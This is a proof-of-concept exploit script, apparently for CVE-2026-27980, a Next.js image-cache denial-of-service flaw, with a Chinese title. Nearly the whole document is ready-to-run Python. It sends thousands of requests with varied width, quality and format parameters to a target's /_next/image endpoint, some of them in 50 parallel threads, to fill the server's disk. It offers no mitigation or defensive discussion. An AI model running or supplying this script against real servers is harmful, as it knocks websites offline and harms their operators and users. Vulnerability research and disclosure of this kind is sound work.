CVE-2026-27980 Next.js图片优化缓存无限增长导致拒绝服务

# CVE-2026-27980 PoC - Next.js Image Cache Exhaustion DoS # This PoC demonstrates how an attacker can exhaust disk space by generating # unlimited unique image optimization variants import requests import concurrent.futures import time TARGET_URL = "http://target-server.com" IMAGE_URL = f"{TARGET_URL}/test-image.jpg" def generate_cache_entries(): """ Generate unique image variants by varying optimization parameters. Each unique combination creates a new cache entry on disk. """ variants_generated = 0 # Generate variants with different width values (1-10000) for width in range(1, 10001): params = { "url": IMAGE_URL, "w": width, # width parameter "q": 75, # quality "f": "webp" # format } try: # Request Next.js image optimization endpoint response = requests.get( f"{TARGET_URL}/_next/image", params=params, timeout=5 ) if response.status_code == 200: variants_generated += 1 if variants_generated % 100 == 0: print(f"Generated {variants_generated} unique variants...") except Exception as e: print(f"Error: {e}") return variants_generated def attack_with_varied_params(): """ Multi-dimensional parameter variation to maximize cache growth. Combines width, quality, format, and other parameters. """ combinations = [] # Width variations widths = list(range(100, 2000, 10)) # 190 width values # Quality variations qualities = list(range(10, 100, 5)) # 18 quality values # Format variations formats = ["webp", "avif", "jpeg", "png"] # Generate all combinations: 190 * 18 * 4 = 13,680 unique variants for w in widths: for q in qualities: for f in formats: combinations.append({"w": w, "q": q, "f": f}) print(f"Planning to generate {len(combinations)} unique variants") # Send requests in parallel to speed up attack with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [] for combo in combinations: future = executor.submit(request_variant, combo) futures.append(future) completed = 0 for future in concurrent.futures.as_completed(futures): completed += 1 if completed % 1000 == 0: print(f"Progress: {completed}/{len(combinations)}") def request_variant(params): """Send single image optimization request.""" try: requests.get( f"{TARGET_URL}/_next/image", params={"url": IMAGE_URL, **params}, timeout=3 ) except: pass if __name__ == "__main__": print("Starting CVE-2026-27980 PoC - Next.js Cache Exhaustion Attack") print("Target:", TARGET_URL) print("-" * 50) start_time = time.time() variants = generate_cache_entries() elapsed = time.time() - start_time print(f"\nAttack completed in {elapsed:.2f} seconds") print(f"Generated {variants} unique cache entries") print("Check disk space on target server - it should be exhausted")